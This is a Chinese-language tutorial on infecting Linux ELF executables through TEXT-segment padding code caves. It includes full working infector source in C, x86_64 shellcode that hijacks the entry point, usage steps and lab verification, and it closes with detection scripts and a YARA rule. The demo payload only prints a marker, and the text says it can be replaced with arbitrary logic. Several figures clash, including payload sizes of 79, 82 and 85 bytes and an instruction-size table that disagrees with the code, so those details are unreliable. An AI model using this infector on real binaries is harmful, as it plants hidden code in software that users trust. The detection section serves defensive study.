一、引言

ELF(Executable and Linkable Format)是 Linux 系统上可执行文件、共享库与核心转储的标准格式。

二进制寄生(Binary Parasiting)要做的事情一句话就能说清:

在不搞坏宿主程序的前提下,把自己的代码"寄生"进去,让目标每次运行时先跑一遍载荷,再正常执行原有逻辑。

跟传统的代码注入不一样,寄生追求的是"共生"——被感染的程序对用户来说功能完好、行为正常,所有变化都藏在二进制层面。本文走的技术路径源自 Silvio Cesare 在 1998 年提出的 TEXT 段填充感染法,在此基础上做了现代化适配:利用 ELF 段对齐机制天然产生的代码洞注入载荷,同时篡改 PT_NOTE 段头为 PT_LOAD,确保载荷在进程地址空间中被正确映射并执行。

这条路径有一个关键优势——感染前后文件大小完全不变,因为载荷写入的位置本来就是对齐填充的零字节区域,没有往文件里追加任何东西。

二、前置知识:ELF 文件格式精要

要读懂 ELF 寄生技术,必须先对 ELF 文件格式的内部结构有足够精确的认知。下面不做全面铺陈,只提炼与感染路径直接相关的核心概念。

2.1 两套视图:Section vs Segment

ELF 文件同时维护两套组织结构:

  • 节(Section):面向链接器。.text 存放机器码,.data 存放已初始化数据,.bss 存放未初始化数据,.note.* 存放构建元信息等。节头表(Section Header Table)位于文件末尾,描述每个节的名称、类型、偏移和大小。
  • 段(Segment):面向加载器。内核在 execve() 时只关心程序头表(Program Header Table)中的段描述,将对应的文件区域映射到进程地址空间。运行时根本不需要节头表——strip 命令可以完全删除它而不影响程序执行。

这种分离带来的直接后果是:攻击者只要操纵 Program Header,就能控制加载器的行为。节头表即使和段描述对不上,也不影响程序正常运行。

2.2 关键数据结构

ELF Header(64 字节,x86_64)核心字段:

 e_entry    : 程序入口点虚拟地址,内核加载后跳转到此地址
 e_phoff    : Program Header Table 在文件中的偏移
 e_phentsize: 每个 Program Header 条目的大小(56 字节)
 e_phnum    : Program Header 条目数量

Program Header(56 字节)核心字段:

p_type   : 段类型 (PT_LOAD=1, PT_NOTE=4, PT_DYNAMIC=2, ...)
 p_flags  : 段权限 (PF_X=1, PF_W=2, PF_R=4)
 p_offset : 段在文件中的偏移
 p_vaddr  : 段的虚拟地址
 p_paddr  : 段的物理地址(用户空间通常与 p_vaddr 相同)
 p_filesz : 段在文件中的大小
 p_memsz  : 段在内存中的大小
 p_align  : 段的对齐要求

2.3 段对齐与代码洞

这是整个攻击的物理基础。

PT_LOAD 段的 p_align 通常为 0x1000(4096 字节,即一个内存页)。加载器在映射段时,会将段的起始地址对齐到页边界。

这意味着:如果 TEXT 段的实际代码在文件偏移 0x1234 处结束,而下一个段需要从 0x2000 的页边界开始,那么 0x1234 到 0x1FFF 之间的 0xDCC 字节就是对齐填充——文件中存在、被映射到进程地址空间、拥有与 TEXT 段相同的可执行权限,但内容全是零。

这片区域就是代码洞(Code Cave)。

代码洞的三个关键特性:

  1. 已存在于文件中 — 写入载荷不会增加文件大小
  2. 天然可执行 — 位于 TEXT 段内,继承 R-X 权限
  3. 内容为零 — 不影响原有代码逻辑

计算代码洞大小的公式:

cave_size = ALIGN(text_segment.p_offset + text_segment.p_filesz, text_segment.p_align)
           - (text_segment.p_offset + text_segment.p_filesz)

典型的非 PIE 编译的 C 程序,代码洞大小通常在 几百到数千字节 之间——足以容纳大多数实用载荷。

2.4 PT_NOTE 段

PT_NOTE 段在 ELF 文件中承载构建元数据,包括:

  • .note.ABI-tag:声明目标操作系统和最低内核版本
  • .note.gnu.build-id:20 字节的构建唯一标识(SHA1)

PT_NOTE 段对程序运行完全不必要。 内核加载器 load_elf_binary() 中处理 PT_NOTE 的逻辑只用于信息记录,跳过它不会引发任何错误。

也就是说,我们可以放心地把 PT_NOTE 的 Program Header 条目改写成 PT_LOAD,让加载器按我们指定的参数映射文件区域——原来的 NOTE 数据丢了就丢了,没有任何副作用。

三、攻击原理:三步完成寄生

整个感染可以拆成三个原子操作,每一步都对应 ELF 文件中特定字段的修改。

3.1 第一步:定位代码洞

打开目标 ELF 文件,解析 ELF Header 获取 Program Header Table 的位置,遍历所有 Program Header 找到 TEXT 段(类型为 PT_LOAD,权限包含 PF_X)。计算其末尾到下一个对齐边界的距离,这就是可用的代码洞空间。

 TEXT 段文件范围: [p_offset, p_offset + p_filesz)
 代码洞起始:      p_offset + p_filesz
 代码洞结束:      ALIGN_UP(p_offset + p_filesz, p_align)
 可用空间:        代码洞结束 - 代码洞起始

如果可用空间小于载荷大小,感染应中止——强行写入会覆盖下一个段的数据。

3.2 第二步:注入载荷并篡改 PT_NOTE

将编写好的 shellcode 写入代码洞位置。然后遍历 Program Header Table,找到类型为 PT_NOTE 的条目,将其字段全部改写:

字段

原始值(PT_NOTE)

改写值(PT_LOAD)

p_type

PT_NOTE (4)

PT_LOAD (1)

p_flags

PF_R (0x4)

PF_R \| PF_X (0x5)

p_offset

NOTE 段的文件偏移

载荷在文件中的偏移

p_vaddr

NOTE 段的虚拟地址

载荷的虚拟地址

p_paddr

同 p_vaddr

同 p_vaddr

p_filesz

NOTE 段大小

载荷大小

p_memsz

NOTE 段大小

载荷大小

p_align

0x4

0x1000(页对齐)

为什么要篡改 PT_NOTE?

代码洞虽然在 TEXT 段的文件范围之内,但部分加载器实现中,TEXT 段的 p_filesz 和 p_memsz 会严格限定映射边界,代码洞里的数据可能根本不在映射区间里。复用 PT_NOTE 的槽位新建一个 PT_LOAD 条目,就能保证载荷区域被独立映射并拥有明确的可执行权限——算是一层保险,确保在各种符合规范的加载器上都能跑起来。

3.3 第三步:劫持入口点

将 ELF Header 中的 e_entry 字段修改为载荷的虚拟地址。这样内核在 execve() 完成后,会直接跳转到载荷代码而非原始的 _start。

载荷的最后几条指令负责跳转回原始入口点(OEP),恢复正常执行流。整个过程对上层应用透明。

攻击效果:

  • 文件大小:不变(载荷写入已有的对齐填充区域)
  • 文件功能:不变(载荷执行后跳回原始入口)
  • 文件哈希:改变(二进制内容已被修改)
  • 文件权限/时间戳:可选择性保留(通过 stat()/utimensat() 恢复)

四、载荷工程:x86_64 Shellcode 编写

载荷是注入到宿主中实际被执行的机器码。它需要满足两个约束:

  1. 位置无关或地址已确定 — 因为载荷的加载地址在感染时就可以计算出来(代码洞的虚拟地址),可以使用绝对地址编码。
  2. 尾部必须跳转回 OEP — 否则宿主程序无法正常执行。

4.1 一个最小化的标记载荷

以下载荷在 x86_64 Linux 上通过 write 系统调用输出一行标记文本,然后跳转回原始入口点。这个载荷主要用于验证感染是否成功——在实战场景中可替换为任意逻辑。

parasite.asm - ELF parasite payload for x86_64 Linux

 ; 功能: 输出感染标记字符串, 然后跳转回宿主 OEP
 
 BITS 64
 
 _start:
     ; --- 保存寄存器状态 ---
     push rax
     push rcx
     push rdx
     push rsi
     push rdi
     push r11
 
     ; --- write(1, msg, msg_len) ---
     mov rax, 1          ; syscall: write
     mov rdi, 1          ; fd: stdout
     lea rsi, [rel msg]  ; buf: 消息地址 (RIP-relative)
     mov rdx, msg_len    ; count: 消息长度
     syscall
 
     ; --- 恢复寄存器状态 ---
     pop r11
     pop rdi
     pop rsi
     pop rdx
     pop rcx
     pop rax
 
     ; --- 跳转回原始入口点 ---
     ; 0xAAAAAAAAAAAAAAAA 是占位符, 感染器在运行时填入真实 OEP
     mov rax, 0xAAAAAAAAAAAAAAAA
     jmp rax
 
 msg:    db "[PARASITE] Payload executed.", 10
 msg_len equ $ - msg
  • 寄存器保存/恢复:syscall 指令会破坏 rcx 和 r11(分别保存返回地址和 RFLAGS),其他寄存器也需要保证不被污染,否则 glibc 的初始化代码可能因寄存器状态异常而崩溃。
  • RIP 相对寻址:lea rsi, [rel msg] 使用 RIP 相对寻址定位数据,使载荷在任何加载地址上都能正确访问字符串。
  • OEP 占位符:0xAAAAAAAAAAAAAAAA 是一个 8 字节的"哨兵值",感染器在将载荷写入文件后,搜索这个模式并替换为真实的原始入口点地址。使用 mov rax + jmp rax 而非相对跳转,是因为 OEP 距离载荷可能超过 jmp rel32 的 ±2GB 范围。

4.2 编译与提取

汇编为纯二进制格式(无 ELF 封装)

 nasm -f bin -o parasite.bin parasite.asm

查看载荷大小

 ls -l parasite.bin

79 字节。

转为 C 数组格式,用于嵌入感染器

 xxd -i parasite.bin > parasite.h

反汇编验证

 objdump -D -b binary -m i386:x86-64 parasite.bin

4.3 载荷大小分析

组成部分

字节数

说明

寄存器保存

7

5 条单字节 push + 1 条 REX 前缀 push r11

write 系统调用

24

mov × 3 (各 5 字节) + lea (7 字节) + syscall (2 字节)

寄存器恢复

7

5 条单字节 pop + 1 条 REX 前缀 pop r11

OEP 跳转

12

mov rax, imm64 (10) + jmp rax (2)

字符串数据

29

含换行符

合计

79

远小于典型代码洞(数百至数千字节)

这个载荷体积极小( 79 字节),几乎可以感染任何非 PIE 编译的 ELF 可执行文件。

五、感染器实现

5.1 完整源码

elf_parasite.c - ELF Text Segment Padding Infector

/*
  * 原理: 利用 TEXT 段页对齐产生的 Code Cave 注入载荷,篡改 PT_NOTE -> PT_LOAD, 劫持 e_entry. 
  */
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <stdint.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <sys/stat.h>
 #include <sys/mman.h>
 #include <elf.h>
 
 /* ========== 载荷定义 ========== */
 
 /*
  * 以下字节码由 parasite.asm 编译生成 (nasm -f bin)
  * 功能: 输出标记字符串 -> 跳转回 OEP
  * OEP 占位符: 0xAAAAAAAAAAAAAAAA (8 bytes at offset OEP_PATCH_OFFSET)
  */
 static unsigned char parasite_code[] = {
     /* push rax, rcx, rdx, rsi, rdi, r11 */
     0x50, 0x51, 0x52, 0x56, 0x57, 0x41, 0x53,
     /* mov rax, 1 (sys_write) */
     0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00,
     /* mov rdi, 1 (stdout) */
     0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00,
     /* lea rsi, [rip + offset_to_msg] */
     0x48, 0x8d, 0x35, 0x1c, 0x00, 0x00, 0x00,
     /* mov rdx, 29 (msg length) */
     0x48, 0xc7, 0xc2, 0x1d, 0x00, 0x00, 0x00,
     /* syscall */
     0x0f, 0x05,
     /* pop r11, rdi, rsi, rdx, rcx, rax */
     0x41, 0x5b, 0x5f, 0x5e, 0x5a, 0x59, 0x58,
     /* mov rax, 0xAAAAAAAAAAAAAAAA (OEP placeholder) */
     0x48, 0xb8,
     0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA,
     /* jmp rax */
     0xff, 0xe0,
     /* msg: "[PARASITE] Payload executed.\n" */
     0x5b, 0x50, 0x41, 0x52, 0x41, 0x53, 0x49, 0x54,
     0x45, 0x5d, 0x20, 0x50, 0x61, 0x79, 0x6c, 0x6f,
     0x61, 0x64, 0x20, 0x65, 0x78, 0x65, 0x63, 0x75,
     0x74, 0x65, 0x64, 0x2e, 0x0a
 };
 
 /* OEP 占位符在 parasite_code 中的字节偏移 */
 #define OEP_PATCH_OFFSET  46
 #define OEP_SENTINEL      0xAAAAAAAAAAAAAAAAULL
 #define PARASITE_SIZE     sizeof(parasite_code)
 
 /* ========== 辅助宏 ========== */
 
 #define ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1))
 
 #define LOG_INFO(fmt, ...)  fprintf(stdout, "[*] " fmt "\n", ##__VA_ARGS__)
 #define LOG_OK(fmt, ...)    fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
 #define LOG_ERR(fmt, ...)   fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
 
 /* ========== 感染逻辑 ========== */
 
 int infect(const char *target_path)
 {
     int fd = -1;
     struct stat st;
     uint8_t *map = MAP_FAILED;
     int ret = -1;
 
     /* 1. 打开目标文件 */
     fd = open(target_path, O_RDWR);
     if (fd < 0) {
         perror("open");
         return -1;
     }
 
     if (fstat(fd, &st) < 0) {
         perror("fstat");
         goto cleanup;
     }
 
     /* 2. 内存映射 */
     map = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
     if (map == MAP_FAILED) {
         perror("mmap");
         goto cleanup;
     }
 
     /* 3. 验证 ELF 魔数 */
     Elf64_Ehdr *ehdr = (Elf64_Ehdr *)map;
     if (memcmp(ehdr->e_ident, ELFMAG, SELFMAG) != 0) {
         LOG_ERR("目标不是有效的 ELF 文件");
         goto cleanup;
     }
 
     if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) {
         LOG_ERR("仅支持 64 位 ELF");
         goto cleanup;
     }
 
     if (ehdr->e_type != ET_EXEC) {
         LOG_ERR("仅支持非 PIE 可执行文件 (ET_EXEC), 当前类型: %d", ehdr->e_type);
         goto cleanup;
     }
 
     LOG_INFO("目标文件: %s (大小: %ld bytes)", target_path, st.st_size);
     LOG_INFO("原始入口点: 0x%lx", (unsigned long)ehdr->e_entry);
 
     /* 4. 遍历 Program Headers, 定位 TEXT 段和 PT_NOTE 段 */
     Elf64_Phdr *phdr_table = (Elf64_Phdr *)(map + ehdr->e_phoff);
     Elf64_Phdr *text_phdr = NULL;
     Elf64_Phdr *note_phdr = NULL;
 
     for (int i = 0; i < ehdr->e_phnum; i++) {
         Elf64_Phdr *p = &phdr_table[i];
 
         if (p->p_type == PT_LOAD && (p->p_flags & PF_X)) {
             text_phdr = p;
             LOG_INFO("TEXT 段: offset=0x%lx, vaddr=0x%lx, filesz=0x%lx, align=0x%lx",
                      (unsigned long)p->p_offset, (unsigned long)p->p_vaddr,
                      (unsigned long)p->p_filesz, (unsigned long)p->p_align);
         }
 
         if (p->p_type == PT_NOTE && !note_phdr) {
             note_phdr = p;  /* 取第一个 PT_NOTE */
             LOG_INFO("NOTE 段: offset=0x%lx, vaddr=0x%lx, filesz=0x%lx",
                      (unsigned long)p->p_offset, (unsigned long)p->p_vaddr,
                      (unsigned long)p->p_filesz);
         }
     }
 
     if (!text_phdr) {
         LOG_ERR("未找到可执行的 PT_LOAD 段 (TEXT)");
         goto cleanup;
     }
 
     if (!note_phdr) {
         LOG_ERR("未找到 PT_NOTE 段, 无法完成感染");
         goto cleanup;
     }
 
     /* 5. 计算代码洞 */
     uint64_t cave_offset = text_phdr->p_offset + text_phdr->p_filesz;
     uint64_t cave_end = ALIGN_UP(cave_offset, text_phdr->p_align);
     uint64_t cave_size = cave_end - cave_offset;
 
     LOG_INFO("代码洞: offset=0x%lx, size=%lu bytes", 
              (unsigned long)cave_offset, (unsigned long)cave_size);
 
     if (cave_size < PARASITE_SIZE) {
         LOG_ERR("代码洞空间不足: 需要 %zu bytes, 可用 %lu bytes",
                 PARASITE_SIZE, (unsigned long)cave_size);
         goto cleanup;
     }
 
     /* 6. 检查代码洞是否已被占用(非零数据) */
     int occupied = 0;
     for (uint64_t i = 0; i < PARASITE_SIZE; i++) {
         if (map[cave_offset + i] != 0x00) {
             occupied = 1;
             break;
         }
     }
     if (occupied) {
         LOG_ERR("代码洞区域已有非零数据, 可能已被感染或数据段重叠");
         goto cleanup;
     }
 
     /* 7. 计算载荷的虚拟地址 */
     uint64_t parasite_vaddr = text_phdr->p_vaddr + text_phdr->p_filesz;
     LOG_INFO("载荷虚拟地址: 0x%lx", (unsigned long)parasite_vaddr);
 
     /* 8. 将载荷写入代码洞 */
     /* 先修补 OEP 占位符 */
     uint64_t original_entry = ehdr->e_entry;
     memcpy(&parasite_code[OEP_PATCH_OFFSET], &original_entry, sizeof(uint64_t));
 
     /* 验证修补是否正确 */
     uint64_t patched_oep;
     memcpy(&patched_oep, &parasite_code[OEP_PATCH_OFFSET], sizeof(uint64_t));
     if (patched_oep != original_entry) {
         LOG_ERR("OEP 修补验证失败");
         goto cleanup;
     }
 
     /* 写入载荷 */
     memcpy(map + cave_offset, parasite_code, PARASITE_SIZE);
     LOG_OK("载荷已写入代码洞 (offset=0x%lx, size=%zu bytes)",
            (unsigned long)cave_offset, PARASITE_SIZE);
 
     /* 9. 篡改 PT_NOTE -> PT_LOAD */
     note_phdr->p_type   = PT_LOAD;
     note_phdr->p_flags  = PF_R | PF_X;
     note_phdr->p_offset = cave_offset;
     note_phdr->p_vaddr  = parasite_vaddr;
     note_phdr->p_paddr  = parasite_vaddr;
     note_phdr->p_filesz = PARASITE_SIZE;
     note_phdr->p_memsz  = PARASITE_SIZE;
     note_phdr->p_align  = 0x1000;
 
     LOG_OK("PT_NOTE -> PT_LOAD 篡改完成");
 
     /* 10. 修改入口点 */
     ehdr->e_entry = parasite_vaddr;
     LOG_OK("入口点已修改: 0x%lx -> 0x%lx",
            (unsigned long)original_entry, (unsigned long)parasite_vaddr);
 
     /* 11. 刷新到磁盘 */
     if (msync(map, st.st_size, MS_SYNC) < 0) {
         perror("msync");
         goto cleanup;
     }
 
     LOG_OK("感染完成! 文件大小保持 %ld bytes 不变", st.st_size);
     ret = 0;
 
 cleanup:
     if (map != MAP_FAILED) munmap(map, st.st_size);
     if (fd >= 0) close(fd);
     return ret;
 }
 
 /* ========== 主函数 ========== */
 
 int main(int argc, char *argv[])
 {
     if (argc != 2) {
         fprintf(stderr, "用法: %s <target_elf>\n", argv[0]);
         fprintf(stderr, "  将载荷注入目标 ELF 文件的代码洞中\n");
         return EXIT_FAILURE;
     }
 
     printf("=== ELF Parasite Infector (TEXT Segment Padding) ===\n\n");
 
     if (infect(argv[1]) == 0) {
         printf("\n[✓] 感染成功. 运行目标文件验证效果.\n");
         return EXIT_SUCCESS;
     } else {
         printf("\n[✗] 感染失败.\n");
         return EXIT_FAILURE;
     }
 }

5.2 编译与使用

编译感染器

 gcc -Wall -Wextra -O2 -o elf_parasite elf_parasite.c

准备一个宿主程序作为感染目标

host.c

 int main(void) {
     printf("Hello from the original host program!\n");
     printf("This is a normal, legitimate application.\n");
     return 0;
 }

编译宿主程序

 gcc -no-pie -o host host.c

备份原始文件

 cp host host.bak

记录感染前的状态

 echo "=== 感染前 ==="
 ls -l host
 md5sum host
 readelf -l host | grep -E "(LOAD|NOTE)"

执行感染

 ./elf_parasite host

记录感染后的状态

 echo "=== 感染后 ==="
 ls -l host
 md5sum host
 readelf -l host | grep -E "(LOAD|NOTE)"

验证载荷是否执行

[PARASITE] Payload executed. ← 载荷先执行

Hello from the original host program! ← 宿主正常运行

5.3 关键路径解析

内存映射方式操作文件:

使用 mmap() 将整个目标文件映射到内存,所有修改直接通过指针操作完成,最后 msync() 刷新到磁盘。这比 read()/write() + lseek() 的方式更简洁,也更适合需要随机访问文件多个位置的场景。

安全检查链:

感染器在写入前执行了多重验证——ELF 魔数、64 位架构、非 PIE 类型、TEXT 段存在性、NOTE 段存在性、代码洞大小充足、代码洞区域为零值(防止重复感染)。任何一项检查失败都会中止感染并给出明确的错误信息。

OEP 修补时机:

在将载荷字节码复制到文件之前,先在内存中的 parasite_code 数组里修补 OEP 值,然后整体写入。这比写入后再 seek 到文件中修补更安全——如果修补失败,文件不会被部分污染。

六、实验验证

6.1 环境准备与编译

编译感染器

 gcc -Wall -Wextra -O2 -o elf_parasite elf_parasite.c

编写宿主程序

 cat > host.c << 'EOF'
#include <stdio.h>
int main(void) {
    printf("Hello from the original host program!\n");
    printf("This is a normal, legitimate application.\n");
    return 0;
}
EOF

编译宿主(必须使用 -no-pie,禁用地址随机化)

 gcc -no-pie -o host host.c

验证编译结果

 file host

备份原始文件用于对比

 cp host host.bak

6.2 感染前:宿主程序结构分析

在执行感染之前,先用 readelf 全面审视宿主文件的 ELF 结构,理解各段布局。这一步对于后续定位代码洞至关重要。

查看 ELF Header 关键字段

readelf -h host  

入口点 0x401040——这是 _start 函数的地址,感染后此值将被篡改。

查看完整的 Program Header Table

readelf -l host

标有 R E 权限的 LOAD 段——这就是 TEXT 段(可读可执行)。它的 FileSiz = 0x159(345 字节),但 Align = 0x1000(4096 字节),意味着从 offset 0x1159 到 0x1FFF 有 3751 字节的对齐填充,这就是代码洞。

代码洞大小计算:

TEXT 段文件范围: [0x1000, 0x1000 + 0x159) = [0x1000, 0x1159)
下一个对齐边界: ALIGN_UP(0x1159, 0x1000) = 0x2000
代码洞:         [0x1159, 0x2000), 大小 = 0x2000 - 0x1159 = 0xEA7 = 3751 bytes

验证代码洞区域确实为全零

​hexdump 输出中 * 符号表示重复行省略——整个区域都是 0x00。这确认了代码洞是"干净的",可以安全写入载荷。

6.3 执行感染

./elf_parasite host

  • 代码洞有 3751 字节可用,载荷仅需 85 字节,空间充裕
  • 载荷被写入文件偏移 0x1159,对应虚拟地址 0x401159
  • 入口点从 0x401040(原始 _start)改为 0x401159(载荷起始)
  • 第一个 PT_NOTE 段(PHDR[7])被篡改为 PT_LOAD

6.4 感染后:运行验证

./host

输出第一行是载荷打印的标记文本,证明载荷代码在宿主 main() 之前成功执行。后两行是宿主程序的原始输出,功能完全正常。

6.5 文件大小与哈希对比

 ls -l host.bak host

计算两个文件的指纹

 md5sum host.bak host

指标

感染前

感染后

变化

文件大小

15776 bytes

15776 bytes

不变

MD5

597d61...

9cc273...

已改变

程序输出

两行正常文本

载荷标记 + 两行正常文本

功能一致

退出码

0

0

不变

修改字节数

—

82 字节

仅占文件总量 0.52%

两个文件大小完全相同(15776 bytes),但 MD5 哈希完全不同。整个感染只修改了 82 个字节——其中 85 字节是载荷数据(含覆盖的零字节),其余是 ELF Header 的 e_entry 字段和 Program Header 中 PT_NOTE 条目的 8 个字段。

6.6 二进制差异深度分析

用 hexdump 对比感染前后的代码洞区域,直观观察载荷注入效果:

diff -y <(hexdump -C host.bak) <(hexdump -C host) | grep -E "\||\<|\>" | head -n 30

根据 64 位 ELF 文件的标准结构,从文件头开始的第 0x18(24)字节处开始的 8 个字节,存放的就是程序运行时的入口点地址(Entry Point)。

  • 原本程序启动时,会直接跳转到内存地址 0x401040 执行原程序(小端序解析)。
  • 感染后,入口点被改成了 0x401159。而 0x1159 就是我在上面提到的代码洞(Code Cave)的起始位置!

目标程序一双击运行,不会先执行原本的功能,而是直接先去执行代码洞里的恶意载荷。

看最后两行(000001c0 和 000001d0 偏移处),这是 ELF 的程序头表(Program Header Table)区域,负责指导操作系统如何把文件加载进内存并分配权限:

类型与权限改写:

  • 感染前:04 00 00 00 04 00 00 00(类型为 PT_NOTE,权限为 R 只读)
  • 感染后:01 00 00 00 05 00 00 00(类型变成了 PT_LOAD,权限变成了 R X 读+执行)

内存映射地址改写:

  • 感染前:50 03 00 00 ... 50 03 40 00 ...
  • 感染后:59 11 00 00 ... 59 11 40 00 ...

如果一个内存区域没有“执行(X)”权限(受 DEP/NX 保护),即使把恶意代码填进去,程序运行到那里也会直接崩溃(Segmentation fault)。

为了让代码洞(Code Cave)里的 Shellcode 能够顺利执行,直接修改了 ELF 的程序头:

  1. 把一个原本没用的 PT_NOTE 段(通常用来存编译器版本等无关紧要的信息)改成了可以加载进内存的 PT_LOAD 段。
  2. 把权限从“只读”改成了“可读+可执行(05 代表 R+X)”。
  3. 把这个段对应的内存映射地址直接指向了 0x401159

感染逻辑链

6.7 反汇编载荷验证

使用 objdump 反汇编已注入的载荷机器码,逐条验证指令正确性:

objdump -D -b binary -m i386:x86-64 --start-address=0x1159 --stop-address=0x11ae host

  • lea 0x1c(%rip),%rsi 计算过程:

RIP 在该指令执行后 = 0x116e + 7 = 0x1175,加上偏移 0x1c = 28,

目标地址 = 0x1175 + 0x1c = 0x1191,即消息字符串 [PARASITE]... 的起始位置。

RIP 相对寻址验证正确。

  • movabs $0x401040,%rax 确认 OEP 已被正确修补为原始入口点地址 0x401040。

6.8 使用 GDB 跟踪执行流

gdb -q ./host

程序在 0x401159(载荷)处启动 → 执行载荷逻辑 → 跳转到 0x401040(OEP) → 正常进入 _start。rax 寄存器的值 0x401040 证实 OEP 跳转指令工作正确。

6.9 使用 strace 追踪系统调用

strace -e trace=write ./host 2>&1

三次 write 系统调用的顺序清晰展示了执行流:第一次 write(1, ..., 29) 来自载荷的 syscall 指令,后两次来自宿主程序的 printf。退出码 0 证明程序正常结束。

七、检测与防御

这种感染手法留下了好几个可以抓住的把柄。

7.1 静态特征检测

特征一:PT_NOTE 段缺失

正常的 GCC/Clang 编译产物都包含 PT_NOTE 段。如果一个 ELF 可执行文件没有 PT_NOTE,或者 PT_NOTE 变成了 PT_LOAD,这本身就是一个强烈的异常信号。

# 检测脚本: 扫描目录下所有 ELF 文件,报告缺少 PT_NOTE 的文件
#!/bin/bash
for f in $(find /usr/bin -type f -executable); do
    if file "$f" | grep -q "ELF"; then
        if ! readelf -l "$f" 2>/dev/null | grep -q "NOTE"; then
            echo "[!] 缺少 PT_NOTE: $f"
        fi
    fi
done

特征二:入口点指向异常地址

正常程序的 e_entry 指向 .text 节的起始区域(通常是 _start 符号)。如果入口点指向 TEXT 段末尾的填充区域,这是明显的感染痕迹。

# 检查入口点是否在 .text 节范围内
readelf -h target | grep "Entry"
readelf -S target | grep ".text"
# 比较入口点地址是否落在 .text 的 [addr, addr+size) 范围内

特征三:异常的 PT_LOAD 段

多出一个小体积、高地址的 PT_LOAD 段,且与其他 PT_LOAD 段在文件偏移上存在重叠(因为代码洞在 TEXT 段范围内),这是非常明显的结构异常。

7.2 YARA 检测规则

rule ELF_Parasite_TextPadding
{
    meta:
        description = "检测 ELF TEXT 段填充感染 (PT_NOTE -> PT_LOAD)"
        author      = "Security Research"
        date        = "2026-05"
        severity    = "high"

    strings:
        // ELF 魔数
        $elf_magic = { 7f 45 4c 46 }

        // 载荷中的 OEP 跳转模式: mov rax, imm64; jmp rax
        $oep_jump = { 48 b8 ?? ?? ?? ?? ?? ?? ?? ?? ff e0 }

        // write 系统调用序列: mov rax,1; mov rdi,1; ... syscall
        $syscall_write = { 48 c7 c0 01 00 00 00 48 c7 c7 01 00 00 00 }

    condition:
        $elf_magic at 0 and
        $oep_jump and
        $syscall_write and
        // 入口点不在典型的 .text 起始范围内
        // (正常 _start 通常在 0x401000-0x401100 附近)
        uint32(0x18) > 0x402000 or uint32(0x1C) > 0
}
# 使用 YARA 扫描
yara -r elf_parasite_rule.yar /usr/bin/

7.3 运行时检测

方法一:eBPF 监控

使用 eBPF 程序挂载到 sched_process_exec tracepoint,捕获 execve 调用并检查目标文件的 ELF 头:

# 使用 bpftrace 快速原型
bpftrace -e '
tracepoint:syscalls:sys_enter_execve {
    printf("exec: %s (pid=%d)\n", str(args->filename), pid);
}
'

结合用户空间的 ELF 解析逻辑,可以在进程启动时实时检查目标文件是否存在感染痕迹。

方法二:完整性校验

最根本的防御措施是对关键二进制文件维护哈希白名单:

# 建立基线
find /usr/bin /usr/sbin -type f -executable \
    -exec sha256sum {} \; > /var/lib/elfbaseline.db

# 定期校验
sha256sum -c /var/lib/elfbaseline.db 2>&1 | grep FAILED

Linux 发行版的包管理器(dpkg --verify、rpm -Va)自带完整性校验功能,可以发现文件被篡改的情况。

八、感悟

做完整个实验回头看:

格式本身就是攻击面。 ELF 的双视图设计(Section 面向工具链,Segment 面向加载器)制造了一个根本性的矛盾:描述文件结构的元数据和控制加载行为的元数据是分离的。攻击者改动 Program Header 中几十个字节,就能让加载器把文件的任意区域当作可执行内存映射进来。

TEXT 段填充感染已经算"经典"技术了。 它的价值不在于拿来做实战武器,而是在于它是理解更复杂技术(PLT/GOT hook、.ctors/.dtors 注入、动态链接器劫持)的入门基础。搞清楚了二进制级别的寄生感染原理,才能真正理解 RELRO、Stack Canary、CFI 这些防御机制为什么被设计出来,以及它们各自防的是什么层面的威胁。

参考文献

  1. Silvio Cesare, "Unix Viruses - Segment Padding", 1998. 最早系统描述 TEXT 段填充感染技术的论文。
  2. ELF Specification, Tool Interface Standard (TIS), Version 1.2. ELF 格式的权威规范文档。
  3. Linux Kernel Source: fs/binfmt_elf.c — load_elf_binary() 函数。内核 ELF 加载器的实现,理解加载器如何处理 Program Header 的核心参考。
  4. man 5 elf — Linux ELF 手册页。Program Header 各字段的语义定义。
  5. Ryan "elfmaster" O'Neill, "Learning Linux Binary Analysis", Packt Publishing, 2016. 系统讲解 ELF 感染技术的专著,覆盖了多种感染变体。
  6. tmp.out research group, https://tmpout.sh — 当代 ELF/VX 技术研究社区,发表了大量现代 ELF 感染技术的深度文章。

注: ELF 感染技术对目标文件的编译选项(PIE / non-PIE)、链接器版本和内核版本存在依赖,复现时如果遇到差异,首先检查目标文件是否为 ET_EXEC 类型(readelf -h target | grep Type),然后确认 TEXT 段的对齐填充区域是否有足够空间。